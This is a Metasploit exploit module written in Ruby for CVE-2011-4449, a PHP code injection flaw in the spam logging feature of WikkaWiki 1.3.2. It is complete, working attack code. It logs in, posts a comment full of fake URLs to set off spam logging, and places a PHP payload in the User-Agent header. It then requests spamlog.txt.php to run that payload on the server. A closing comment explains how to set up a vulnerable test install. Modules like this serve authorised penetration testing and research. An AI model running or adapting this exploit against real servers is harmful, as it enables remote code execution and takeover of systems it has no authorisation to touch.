WikkaWiki 1.3.2 Spam Logging PHP Injection



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info={})
        super(update_info(info,
            'Name'           => "WikkaWiki 1.3.2 Spam Logging PHP Injection",
            'Description'    => %q{
                    This module exploits a vulnerability found in WikkaWiki.  When the spam logging
                feature is enabled, it is possible to inject PHP code into the spam log file via the
                UserAgent header , and then request it to execute our payload.  There are at least
                three different ways to trigger spam protection, this module does so by generating
                10 fake URLs in a comment (by default, the max_new_comment_urls parameter is 6).

                    Please note that in order to use the injection, you must manually pick a page
                first that allows you to add a comment, and then set it as 'PAGE'.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'EgiX',   #Initial discovery, PoC
                    'sinn3r'  #Metasploit
                ],
            'References'     =>
                [
                    ['CVE', '2011-4449'],
                    ['OSVDB', '77391'],
                    ['EDB', '18177'],
                    ['URL', 'http://wush.net/trac/wikka/ticket/1098']
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00"
                },
            'DefaultOptions'  =>
                {
                    'ExitFunction' => "none"
                },
            'Arch'           => ARCH_PHP,
            'Platform'       => ['php'],
            'Targets'        =>
                [
                    ['WikkaWiki 1.3.2 r1814', {}]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Nov 30 2011",
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('USERNAME',  [true, 'WikkaWiki username']),
                OptString.new('PASSWORD',  [true, 'WikkaWiki password']),
                OptString.new('PAGE',      [true, 'Page to inject']),
                OptString.new('TARGETURI', [true, 'The URI path to WikkaWiki', '/wikka/'])
            ], self.class)
    end


    def check
        res = send_request_raw({
            'method' => 'GET',
            'uri'    => "#{target_uri.path}wikka.php?wakka=HomePage"
        })

        if res and res.body =~ /Powered by WikkaWiki/
            return Exploit::CheckCode::Detected
        else
            return Exploit::CheckCode::Safe
        end
    end


    #
    # Get the cookie before we do any of that login/exploity stuff
    #
    def get_cookie
        res = send_request_raw({
            'method' => 'GET',
            'uri'    => "#{@base}wikka.php"
        })

        # Get the cookie in this format:
        # 96522b217a86eca82f6d72ef88c4c7f4=pr5sfcofh5848vnc2sm912ean2; path=/wikka
        if res and res.headers['Set-Cookie']
            cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten[0]
        else
            raise RuntimeError, "#{@peer} - No cookie found, will not continue"
        end

        cookie
    end


    #
    # Do login, and then return the cookie that contains our credential
    #
    def login(cookie)
        # Send a request to the login page so we can obtain some hidden values needed for login
        uri = "#{@base}wikka.php?wakka=UserSettings"
        res = send_request_raw({
            'method'  => 'GET',
            'uri'     => uri,
            'cookie'  => cookie
        })

        # Extract the hidden fields
        login = {}
        if res and res.body =~ /\<div id\=\"content\"\>.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>.+\<legend\>Login\/Register\<\/legend\>/m
            fields = $1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(\w+)\" \/>/)
            fields.each do |name, value|
                login[name] = value
            end
        else
            raise RuntimeError, "#{@peer} - Unable to find the hidden fieldset required for login"
        end

        # Add the rest of fields required for login
        login['action']       = 'login'
        login['name']         = datastore['USERNAME']
        login['password']     = datastore['PASSWORD']
        login['do_redirect']  = 'on'
        login['submit']       = "Login"
        login['confpassword'] = ''
        login['email']        = ''

        port = (rport.to_i == 80) ? "" : ":#{rport}"
        res = send_request_cgi({
            'method'    => 'POST',
            'uri'       => uri,
            'cookie'    => cookie,
            'headers'   => { 'Referer' => "http://#{rhost}#{port}#{uri}" },
            'vars_post' => login
        })

        if res and res.headers['Set-Cookie'] =~ /user_name/
            user = res.headers['Set-Cookie'].scan(/(user_name\@\w+=\w+);/)[0] || ""
            pass = res.headers['Set-Cookie'].scan(/(pass\@\w+=\w+)/)[0] || ""
            cookie_cred = "#{cookie}; #{user}; #{pass}"
        else
            cred = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
            raise RuntimeError, "#{@peer} - Unable to login with \"#{cred}\""
        end

        return cookie_cred
    end


    #
    # After login, we inject the PHP payload
    #
    def inject_exec(cookie)
        # Get the necessary fields in order to post a comment
        res = send_request_raw({
            'method' => 'GET',
            'uri'    => "#{@base}wikka.php?wakka=#{datastore['PAGE']}&show_comments=1",
            'cookie' => cookie
        })

        fields = {}
        if res and res.body =~ /\<form action\=.+processcomment.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>/m
            $1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(.+)\" \/>/).each do |n, v|
                fields[n] = v
            end
        else
            raise RuntimeError, "#{@peer} - Cannot get necessary fields before posting a comment"
        end

        # Generate enough URLs to trigger spam logging
        urls = ''
        10.times do |i|
            urls << "http://www.#{rand_text_alpha_lower(rand(10)+6)}.#{['com', 'org', 'us', 'info'].sample}\n"
        end

        # Add more fields
        fields['body']   = urls
        fields['submit'] = 'Add'

        # Inject payload
        b64_payload = Rex::Text.encode_base64(payload.encoded)
        port = (rport.to_i == 80) ? "" : ":#{rport}"
        uri = "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment"
        post_data = ""
        send_request_cgi({
            'method'    => 'POST',
            'uri'       => "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment",
            'cookie'    => cookie,
            'headers'   => { 'Referer' => "http://#{rhost}:#{port}/#{uri}" },
            'vars_post' => fields,
            'agent'     => "<?php #{payload.encoded} ?>"
        })

        send_request_raw({
            'method' => 'GET',
            'uri'    => "#{@base}spamlog.txt.php"
        })
    end


    def exploit
        @peer = "#{rhost}:#{rport}"

        @base = target_uri.path
        @base << '/' if @base[-1, 1] != '/'

        print_status("#{@peer} - Getting cookie")
        cookie = get_cookie

        print_status("#{@peer} - Logging in")
        cred = login(cookie)

        print_status("#{@peer} - Triggering spam logging")
        inject_exec(cred)

        handler
    end
end


=begin
For testing:
svn -r 1814 co https://wush.net/svn/wikka/trunk wikka

Open wikka.config.php, do:
'spam_logging' => '1'
=end